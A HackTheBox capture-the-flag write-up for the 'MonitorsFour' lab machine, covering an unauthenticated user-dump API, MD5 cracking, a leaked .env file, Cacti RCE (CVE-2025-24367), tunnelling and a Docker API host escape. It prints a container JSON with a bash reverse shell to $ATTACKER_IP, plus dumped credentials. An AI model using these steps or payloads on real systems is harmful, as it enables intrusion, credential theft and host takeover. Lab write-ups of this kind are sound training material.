MonitorsFour Writeup - HackTheBox
Last updated May 26, 2026 • 9 min read
Discovery
Initial TCP scan showed only HTTP.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-06 16:27 -0500 Nmap scan report for monitorsfour.htb ($TARGET_IP) Host is up (0.014s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http nginx |_http-title: MonitorsFour - Networking Solutions | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 115.91 seconds
Port 80 served a PHP app on nginx. Port 5985 existed but didn’t expose anything usable.
Added the hostname and started poking the web app.
/robots.txt was empty. /login existed but default creds failed. Page source leaked an email format: sales@@monitorsfour.htb. That implied real users.
Directory brute-force gave real attack surface.
=============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://monitorsfour.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 146] /.htpasswd (Status: 403) [Size: 146] /contact (Status: 200) [Size: 367] /controllers (Status: 301) [Size: 162] [--> http://monitorsfour.htb/controllers/] /forgot-password (Status: 200) [Size: 3099] /login (Status: 200) [Size: 4340] /static (Status: 301) [Size: 162] [--> http://monitorsfour.htb/static/] /user (Status: 200) [Size: 35] /views (Status: 301) [Size: 162] [--> http://monitorsfour.htb/views/] Progress: 20469 / 20469 (100.00%) =============================================================== Finished ===============================================================
API token flaw
/user returned JSON errors instead of HTML.
{"error":"Missing token parameter"}
It required a token parameter but didn’t validate it correctly.
[
{
"id": 2,
"username": "admin",
"email": "[email protected]",
"password": "56b32eb43e6f15395f6c46c1c9e1cd36",
"role": "super user",
"token": "85349e35c57f7647cd",
"name": "Marcus Higgins",
"position": "System Administrator",
"dob": "1978-04-26",
"start_date": "2021-01-12",
"salary": "320800.00"
},
{
"id": 5,
"username": "mwatson",
"email": "[email protected]",
"password": "69196959c16b26ef00b77d82cf6eb169",
"role": "admin",
"token": "0e543210987654321",
"name": "Michael Watson",
"position": "Website Administrator",
"dob": "1985-02-15",
"start_date": "2021-05-11",
"salary": "75000.00"
},
{
"id": 6,
"username": "janderson",
"email": "[email protected]",
"password": "2a22dcf99190c322d974c8df5ba3256b",
"role": "user",
"token": "0e999999999999999",
"name": "Jennifer Anderson",
"position": "Network Engineer",
"dob": "1990-07-16",
"start_date": "2021-06-20",
"salary": "68000.00"
},
{
"id": 7,
"username": "dthompson",
"email": "[email protected]",
"password": "8d4a7e7fd08555133e056d9aacb1e519",
"role": "user",
"token": "0e111111111111111",
"name": "David Thompson",
"position": "Database Manager",
"dob": "1982-11-23",
"start_date": "2022-09-15",
"salary": "83000.00"
}
]
This dumped all users, including usernames, roles, tokens, and password hashes. No auth required.
Key takeaway: token 0 bypasses access control. Next move was offline cracking.
Password cracking
Hashes looked like unsalted MD5 when checking with hashid.
Analyzing '8d4a7e7fd08555133e056d9aacb1e519' [+] MD2 [+] MD5 [+] MD4 [+] Double MD5 [+] LM [+] RIPEMD-128 [+] Haval-128 [+] Tiger-128 [+] Skein-256(128) [+] Skein-512(128) [+] Lotus Notes/Domino 5 [+] Skype [+] Snefru-128 [+] NTLM [+] Domain Cached Credentials [+] Domain Cached Credentials 2 [+] DNSSEC(NSEC3) [+] RAdmin v2.x
which we can crack with Hashcat like:
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-AMD Ryzen 5 5500U with Radeon Graphics, 4909/9818 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (5604 MB free)
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Tue Jan 6 16:54:04 2026 (2 secs)
Time.Estimated...: Tue Jan 6 16:54:06 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 6053.4 kH/s (0.57ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/4 (25.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolyn -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 54c Util: 48%
Started: Tue Jan 6 16:53:37 2026
Stopped: Tue Jan 6 16:54:07 2026
Only one cracked fast:
admin@@monitorsfour.htb : wonderful1
Environment leakage via .env
A quickhits sweep immediately exposed something useful.
=============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://monitorsfour.htb/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/quickhits.txt [+] Negative Status codes: 404,403 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.env (Status: 200) [Size: 97] /login (Status: 200) [Size: 4340] /user (Status: 200) [Size: 35] Progress: 2565 / 2565 (100.00%) =============================================================== Finished ===============================================================
.env was publicly accessible.
DB_HOST=mariadb DB_PORT=3306 DB_NAME=monitorsfour_db DB_USER=monitorsdbuser DB_PASS=f37p2j8f4t0r
This confirmed the application talks to an internal MariaDB instance. Port 3306 was not exposed externally, so the credentials were not immediately usable. Next move was to enumerate the API surface.
API enumeration
Since we have seen API usage before I tried to scan the HTTP service with a specific API endpoint wordlist:
=============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://monitorsfour.htb/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /api/v1/auth (Status: 405) [Size: 0] /api/v1/user (Status: 200) [Size: 35] Progress: 269 / 269 (100.00%) =============================================================== Finished ===============================================================
Interesting results:
/api/v1/user→ same behavior as/user/api/v1/auth→ 405 Method Not Allowed
A 405 indicated the route existed but required a different HTTP method.
* Host monitorsfour.htb:80 was resolved. * IPv6: (none) * IPv4: 10.10.11.98 * Trying 10.10.11.98:80... * Established connection to monitorsfour.htb (10.10.11.98 port 80) from $ATTACKER_IP port 39458 * using HTTP/1.x > POST /api/v1/auth HTTP/1.1 > Host: monitorsfour.htb > User-Agent: curl/8.17.0 > Accept: */* > * Request completely sent off < HTTP/1.1 302 Found < Server: nginx < Date: Tue, 06 Jan 2026 21:41:14 GMT < Content-Type: text/html; charset=UTF-8 < Transfer-Encoding: chunked < Connection: keep-alive < X-Powered-By: PHP/8.3.27 < Set-Cookie: PHPSESSID=b332841635dde5c4e692bd4e26139bc8; path=/ < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Location: /login < * Connection #0 to host monitorsfour.htb:80 left intact
The response was a 302 redirect to /login with no JSON output, no error message, and no indication of required parameters. No useful feedback, no brute-force angle, no injection surface.
At this point:
API auth was a dead end
Database access was internal only
There was no direct exploit path left on the main vhost. Next move was expanding the attack surface via virtual hosts.
Virtual host discovery
Since we have not found anything useful yet on the monitorsfour.htn, we move to searching potential subdomains with gobuster:
=============================================================== Gobuster v3.8 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://monitorsfour.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] User Agent: gobuster/3.8 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== @.monitorsfour.htb Status: 400 [Size: 150] Documents and Settings.monitorsfour.htb Status: 400 [Size: 150] Program Files.monitorsfour.htb Status: 400 [Size: 150] cacti.monitorsfour.htb Status: 302 [Size: 0] [--> /cacti] cgi-bin/.monitorsfour.htb Status: 400 [Size: 150] contact us.monitorsfour.htb Status: 400 [Size: 150] donate cash.monitorsfour.htb Status: 400 [Size: 150] external files.monitorsfour.htb Status: 400 [Size: 150] home page.monitorsfour.htb Status: 400 [Size: 150] modern mom.monitorsfour.htb Status: 400 [Size: 150] my project.monitorsfour.htb Status: 400 [Size: 150] neuf giga photo.monitorsfour.htb Status: 400 [Size: 150] planned giving.monitorsfour.htb Status: 400 [Size: 150] press releases.monitorsfour.htb Status: 400 [Size: 150] privacy policy.monitorsfour.htb Status: 400 [Size: 150] reports list.monitorsfour.htb Status: 400 [Size: 150] site map.monitorsfour.htb Status: 400 [Size: 150] style library.monitorsfour.htb Status: 400 [Size: 150] web references.monitorsfour.htb Status: 400 [Size: 150] Progress: 20469 / 20469 (100.00%) =============================================================== Finished ===============================================================
This returned a clean hit:
cacti.monitorsfour.htb → 302 → /cacti
Added it to /etc/hosts and browsed the site.
The page exposed a Cacti login with a visible version banner:
Cacti Version 1.2.28
That version is known to be exploitable.
Cacti authentication
Reused credentials from the earlier API dump. Email-based login failed. The application accepted the first name as username.
Working credentials:
marcus : wonderful1
Login succeeded. This confirmed Cacti was a separate service reusing the same user credentials. Next move was exploiting Cacti itself.
Cacti RCE (CVE-2025-24367)
Cacti 1.2.28 is vulnerable to an authenticated remote code execution flaw. A public PoC was available and reliable.
Exploit execution:
[+] Cacti Instance Found! [+] Serving HTTP on port 80 [+] Login Successful! [+] Got graph ID: 226 [i] Created PHP filename: Dgvzz.php [+] Got payload: /bash [i] Created PHP filename: pzs79.php [+] Hit timeout, looks good for shell, check your listener! [+] Stopped HTTP server on port 80
Listener and fetching the user flag:
listening on [$ATTACKER_IP] 1111 ... connect to [$ATTACKER_IP] from (UNKNOWN) [10.10.11.98] 56233 bash: cannot set terminal process group (8): Inappropriate ioctl for device bash: no job control in this shell www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt [HIDDEN]
Local privilege escalation inside the container with LinPeas was a dead end. Automated checks and manual inspection showed no direct viable SUID binaries, cron jobs, or leaked secrets. This shifted focus to container escape or lateral movement.
Internal network enumeration
The resolver configuration hinted at Docker internal networking.
# Generated by Docker Engine. # This file can be edited; Docker Engine will not make further changes once it # has been modified. nameserver 127.0.0.11 options ndots:0 # Based on host file: '/etc/resolv.conf' (internal resolver) # ExtServers: [host(192.168.65.7)] # Overrides: [] # Option ndots from: internal
The gateway IP was visible. Internal scanning with fscan was the next logical move.
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
192.168.65.7:5555 open
192.168.65.7:3128 open
192.168.65.7:2375 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://192.168.65.7:5555 code:200 len:0 title:None
[*] WebTitle http://192.168.65.7:2375 code:404 len:29 title:None
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://192.168.65.7:2375 poc-yaml-go-pprof-leak
已完成 3/3
[*] 扫描结束,耗时: 5.056291757s
Findings:
2375/tcpopen and5555Docker detected
Docker API pivot
The Docker API was only reachable internally, so a reverse tunnel was required.
On the attacker machine:
2026/01/06 17:55:28 server: Reverse tunnelling enabled 2026/01/06 17:55:28 server: Fingerprint 7/jbwUbTmJTuGYHSpO+MmpRLkYTgloOQARnSNUn0H4Y= 2026/01/06 17:55:28 server: Listening on http://0.0.0.0:9999 2026/01/06 17:56:09 server: session#1: Client version (1.11.3) differs from server version (1.11.3-0kali1) 2026/01/06 17:57:38 server: session#2: Client version (1.11.3) differs from server version (1.11.3-0kali1) 2026/01/06 17:57:38 server: session#2: tun: proxy#R:2375=>192.168.65.7:2375: Listening
On the compromised container:
Now that a reverse tunnel has been setup between the attacker machine and the compromised container, we can access the internal service at 192.168.65.7:2375 via 127.0.0.1:2375 on the attackers network via:
[
{
"Containers": 4,
"Created": 1762794130,
"Id": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
<snip>
"RepoTags": [
"docker_setup-nginx-php:latest"
],
"SharedSize": -1,
"Size": 1277167255
},
{
"Containers": 1,
"Created": 1762791053,
"Id": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
<snip>
"RepoTags": [
"docker_setup-mariadb:latest"
],
"SharedSize": -1,
"Size": 454269972
},
{
"Containers": 13,
"Created": 1759921496,
"Id": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
<snip>
"RepoTags": [
"alpine:latest"
],
"SharedSize": -1,
"Size": 12794775
}
]
The API responded successfully. An alpine image was already present, which avoided pulling new images.
Host escape via Docker
Created a container with the host filesystem mounted and executed a chroot.
We first need to make our own container JSON for the Docker API to receive like container.json:
{
"Image": "alpine:latest",
"Cmd": [
"sh", "-c", "chroot /host /bin/bash -c \"bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1\""
],
"HostConfig": {
"Binds": ["/:/host"]
}
}
This container will use the alpine:latest image and start a reverse shell connection to our attackers machine. It will also bind the host device its root folder / to the /host folder inside the Docker container allowing us to see all the files of the host inside the Docker container.
We send this container.json via CURL to the API and then directly start the container
{"Id":"bb09df2fa4b64522f6b0f37744e976523b2acd4a5a30215a67c0a993aa5f88b7","Warnings":[]}
When we listen for this connect we will be able to get shell and browse the hosts its file system and retrieve the flag:
listening on [$ATTACKER_IP] 2222 ... connect to [$ATTACKER_IP] from (UNKNOWN) [10.10.11.98] 56263 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@a1e5e751aa65:/var/www/html# whoami root root@a1e5e751aa65:/var/www/html# cat /mnt/host/c/Users/Administrator/Desktop/root.txt [HIDDEN]